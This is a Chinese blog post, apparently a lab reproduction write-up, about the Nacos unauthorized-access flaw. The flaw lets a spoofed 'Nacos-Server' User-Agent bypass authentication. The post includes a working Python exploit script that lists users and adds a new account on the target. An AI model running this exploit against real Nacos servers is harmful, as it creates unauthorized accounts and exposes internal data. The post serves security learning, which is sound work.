Nacos未授权访问漏洞复现

admin 2023年7月4日08:54:28评论120 views字数 1258阅读4分11秒阅读模式

本文由掌控安全学院-yufei投稿

无聊刷微信朋友圈,看到老师和70师傅发的靶场上新了,这不得尝试一下,打开靶场看到是一个提示nacos未授权访问Nacos未授权访问漏洞复现

开始学习,
漏洞成因:该漏洞是由于在com.alibaba.nacos.core.auth.AuthFilter#doFilter中在处理服务间通信时存在默认鉴权白名单导致,代码在解析请求时,会判断User-Agent值,若是以Nacos-Server字符串开头,则会跳过后续权限校验流程。攻击者可通过利用该漏洞发送特殊数据绕过身份认证,从而调用任何接口,获取内部数据或添加任意用户,进一步利用甚至可能执行恶意代码。Nacos未授权访问漏洞复现

测试方法,千遍一律的抓包,就缩略描述一下,5通过拼接路径;/nacos/v1/auth/users?pageNo=1&pageSize=1,我们验证了一个漏洞存在(这是个靶场,,写这个多次一举),对其进行抓包放入重放模块后,修改为post模式(一定要修改!!!!)将我们想要添加的用户作为拼接到我们的URl,将UA修改为Nacos-Server,data为pageNo=1&pageSize=9,去完成漏洞利用
了解了成因,了解了测试方法,本人为了偷懒不去抓包,就去编写脚本开始帮我吧,嘿嘿嘿

import requests

target_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?pageNo=1&pageSize=9"

# 发送GET请求,验证漏洞存在
response = requests.get(target_url)
if response.status_code == 200:
print("漏洞存在")
print("响应内容:", response.text)

# 准备POST请求参数
post_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?username=test1&password=test1"
headers = {
"User-Agent": "Nacos-Server"
}
data = {
"pageNo": "1",
"pageSize": "9"
}
# 发送POST请求,添加用户
response = requests.post(post_url, headers=headers, data=data)
if response.status_code == 200:
print("用户添加成功")

# 验证添加的用户是否生效
response = requests.get(target_url)
if "test" in response.text:
print("响应内容:",response.text)

写完脚本测试一下吧Nacos未授权访问漏洞复现

进网页验证一下吧Nacos未授权访问漏洞复现

复现成功,完美

漏洞修复建议:使用最新版本的nacos

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

Nacos未授权访问漏洞复现

原文始发于微信公众号(掌控安全EDU):Nacos未授权访问漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月4日08:54:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos未授权访问漏洞复现https://cn-sec.com/archives/1852038.html

发表评论

匿名网友 填写信息